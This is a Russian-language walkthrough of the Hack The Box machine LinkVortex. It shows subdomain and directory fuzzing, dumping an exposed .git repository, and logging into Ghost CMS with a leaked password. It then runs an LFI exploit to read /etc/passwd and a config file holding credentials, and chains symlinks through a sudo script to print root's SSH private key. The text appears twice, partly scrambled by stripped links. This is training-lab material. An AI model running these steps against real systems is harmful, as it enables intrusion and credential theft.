stihl не предоставил(а) никакой дополнительной информации.
В этом райтапе я покажу, как можно повысить привилегии в Linux, используя ссылки на важные файлы. Но прежде чем получить доступ к операционной системе, мы посканируем веб‑приложение и выгрузим его исходные коды для анализа. Также прочитаем критические данные через LFI в системе Ghost.
Наша цель — получение прав суперпользователя на машине LinkVortex с учебной площадки Hack The Box. Уровень задания — легкий.
И запускаем сканирование портов.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Результат работы скрипта
Сканер нашел два открытых порта:
Главная страница сайта
или Зарегистрируйся и Для просмотра ссылки Войди или Зарегистрируйся.
Я предпочитаю легкий и очень быстрый Для просмотра ссылки Войдиили Зарегистрируйся. При запуске указываем следующие параметры:
Задаем параметры и запускаем ffuf:
Результат сканирования поддоменов
В вывод попадают все варианты из списка, а значит, установим фильтр по коду ответа (параметр -fc).
Результат сканирования поддоменов
Теперь программа вывела только один поддомен dev. Обновляем запись в файле /etc/hosts и проверяем новый сайт через браузер.
Главная страница сайта dev
На сайте ничего интересного, но мы еще можем посканировать новый домен на предмет скрытых файлов и каталогов. На этот раз возьмем Для просмотра ссылки Войдиили Зарегистрируйся. При запуске используем следующие параметры:
Результат сканирования каталогов
Среди найденных каталогов присутствует .git, а значит, мы можем скопировать весь репозиторий с помощью Для просмотра ссылки Войдиили Зарегистрируйся.
Клонирование репозитория
Теперь поищем что‑нибудь интересное в исходном коде веб‑приложения.
История коммитов
В файле Dockerfile.ghost указан JSON-конфиг, но в каталоге его нет.
Содержимое файла Dockerfile.ghost
А вот в файле authentication.test.js есть два пароля, старый и новый.
Содержимое файла authentication.test.js
Осталось найти имя пользователя. На одной из страниц сайта можно увидеть, что автор статьи — admin.
Содержимое страницы The Random Access Memory
Так как в качестве логина нужно указать почту, попробуем использовать домен linkvortex.htb.
Страница авторизации
Все получилось, и у нас теперь есть доступ администратора к панели CMS Ghost.
Панель администратора
Поиск эксплоитов в Google
Так нашелся Для просмотра ссылки Войдиили Зарегистрируйся с эксплоитом для уязвимости Для просмотра ссылки Войди или Зарегистрируйся. CMS Ghost до версии 5.59.1 содержит уязвимость, которая позволяет аутентифицированным пользователям читать произвольные файлы. Для начала попробуем прочитать файл /etc/passwd.
python3 ghost_fileread.py -t Для просмотра ссылки Войдиили Зарегистрируйся -u admin@linkvortex.htb -p OctopiFociPilfer45 -f /etc/passwd
Содержимое файла /etc/passwd
Вспомним про JSON-конфиг config.production.json, указанный в файле Dockerfile.ghost, и прочитаем его на сервере.
Содержимое файла config.production.json
В файле есть учетные данные пользователя bob, а такая учетная запись была в файле /etc/passwd. Авторизуемся по SSH и забираем первый флаг.
Флаг пользователя
или Зарегистрируйся (PEASS) — набор скриптов, которые проверяют систему на автомате и выдают подробный отчет о потенциально интересных файлах, процессах и настройках.
Загрузим на удаленный хост скрипт для Linux, дадим право на выполнение и запустим сканирование. Затем посмотрим, что интересного он нашел.
Судя по настройкам sudoers, мы можем без ввода пароля выполнить скрипт /opt/ghost/clean_symlink.sh в привилегированном контексте.
Настройки sudoers
Давай посмотрим, что это за скрипт. Он принимает в качестве аргумента файл с расширением .png. Внутри делается проверка: если файл — символическая ссылка, то она не должна указывать на каталоги etc и root. Если все проверки пройдены, то выполняется копирование файла. При этом если переменная среды CHECK_CONTENT установлена, то будет отображено содержимое файла.
Содержимое скрипта clean_symlink.sh
Однако мы легко пройдем проверку, если символическая ссылка будет указывать на другую символическую ссылку. Вторую ссылку можем направить на приватный ключ SSH пользователя root.
Сделаем символическую ссылку test.txt, указывающую на ключ SSH, затем ссылку test.png, указывающую на test.txt. Когда все готово, запускаем скрипт и указываем ему test.png.
Содержимое ключа SSH
Сохраняем ключ на свою машину, назначаем необходимые права и подключаемся к серверу от имени root.
Флаг рута
Машина захвачена!
Наша цель — получение прав суперпользователя на машине LinkVortex с учебной площадки Hack The Box. Уровень задания — легкий.
warning
Подключаться к машинам с HTB рекомендуется с применением средств анонимизации и виртуализации. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Разведка
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts:10.10.11.47 linkvortex.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '
' ',' | sed s/,$//)
nmap -p$ports -A $1
Сканер нашел два открытых порта:
- 22 — служба OpenSSH 8.9p1;
- 80 — веб‑сервер Apache.
Точка входа
На сайте ничего интересного найти не удалось, поэтому приступим к сканированию.Справка: сканирование веба c ffuf
Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде Для просмотра ссылки ВойдиЯ предпочитаю легкий и очень быстрый Для просмотра ссылки Войди
- -w — словарь (я использую словари из набора Для просмотра ссылки Войди
или Зарегистрируйся); - -t — количество потоков;
- -u — URL;
- -H — HTTP-заголовок.
Задаем параметры и запускаем ffuf:
ffuf -u [URL]http://linkvortex.htb/[/URL] -H 'Host: FUZZ.linkvortex.htb' -w subdomains-top1million-110000.txt -t 128
В вывод попадают все варианты из списка, а значит, установим фильтр по коду ответа (параметр -fc).
ffuf -u [URL]http://linkvortex.htb/[/URL] -H 'Host: FUZZ.linkvortex.htb' -w subdomains-top1million-110000.txt -t 128 -fc 301
Теперь программа вывела только один поддомен dev. Обновляем запись в файле /etc/hosts и проверяем новый сайт через браузер.
10.10.11.47 linkvortex.htb dev.linkvortex.htb
На сайте ничего интересного, но мы еще можем посканировать новый домен на предмет скрытых файлов и каталогов. На этот раз возьмем Для просмотра ссылки Войди
- -u — URL;
- -w — словарь (из набора Для просмотра ссылки Войди
или Зарегистрируйся); - -t — количество потоков;
- -d — глубина сканирования.
feroxbuster -u [URL]http://dev.linkvortex.htb/[/URL] -w files_interesting.txt -d 1 -t 128
Среди найденных каталогов присутствует .git, а значит, мы можем скопировать весь репозиторий с помощью Для просмотра ссылки Войди
git-dumper [URL]http://dev.linkvortex.htb/.git/[/URL] .
Теперь поищем что‑нибудь интересное в исходном коде веб‑приложения.
Точка опоры
Открываем репозиторий в VS Code и переходим к истории коммитов.В файле Dockerfile.ghost указан JSON-конфиг, но в каталоге его нет.
А вот в файле authentication.test.js есть два пароля, старый и новый.
Осталось найти имя пользователя. На одной из страниц сайта можно увидеть, что автор статьи — admin.
Так как в качестве логина нужно указать почту, попробуем использовать домен linkvortex.htb.
Все получилось, и у нас теперь есть доступ администратора к панели CMS Ghost.
LFI
Обычно админка в CMS дает нам возможность получить RCE, поэтому стоит проверить, есть ли для Ghost готовые эксплоиты. Можем просто поискать их в Google.Так нашелся Для просмотра ссылки Войди
python3 ghost_fileread.py -t Для просмотра ссылки Войди
Вспомним про JSON-конфиг config.production.json, указанный в файле Dockerfile.ghost, и прочитаем его на сервере.
python3 ghost_fileread.py -t [URL]http://linkvortex.htb/[/URL] -u [EMAIL]admin@linkvortex.htb[/EMAIL] -p OctopiFociPilfer45 -f /var/lib/ghost/config.production.json
В файле есть учетные данные пользователя bob, а такая учетная запись была в файле /etc/passwd. Авторизуемся по SSH и забираем первый флаг.
Локальное повышение привилегий
Теперь нам необходимо собрать информацию для повышения привилегий в ОС. Я буду использовать для этого скрипты PEASS.Справка: скрипты PEASS
Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Для просмотра ссылки ВойдиЗагрузим на удаленный хост скрипт для Linux, дадим право на выполнение и запустим сканирование. Затем посмотрим, что интересного он нашел.
Судя по настройкам sudoers, мы можем без ввода пароля выполнить скрипт /opt/ghost/clean_symlink.sh в привилегированном контексте.
Давай посмотрим, что это за скрипт. Он принимает в качестве аргумента файл с расширением .png. Внутри делается проверка: если файл — символическая ссылка, то она не должна указывать на каталоги etc и root. Если все проверки пройдены, то выполняется копирование файла. При этом если переменная среды CHECK_CONTENT установлена, то будет отображено содержимое файла.
Однако мы легко пройдем проверку, если символическая ссылка будет указывать на другую символическую ссылку. Вторую ссылку можем направить на приватный ключ SSH пользователя root.
Сделаем символическую ссылку test.txt, указывающую на ключ SSH, затем ссылку test.png, указывающую на test.txt. Когда все готово, запускаем скрипт и указываем ему test.png.
Код:
ln -s /root/.ssh/id_rsa test.txt
ln -s /home/bob/test.txt test.png
sudo CHECK_CONTENT=true /usr/bin/bash /opt/ghost/clean_symlink.sh /home/bob/test.png
Сохраняем ключ на свою машину, назначаем необходимые права и подключаемся к серверу от имени root.
Код:
chmod 0600 id_rsa
ssh -i id_rsa root@10.10.11.47
Машина захвачена!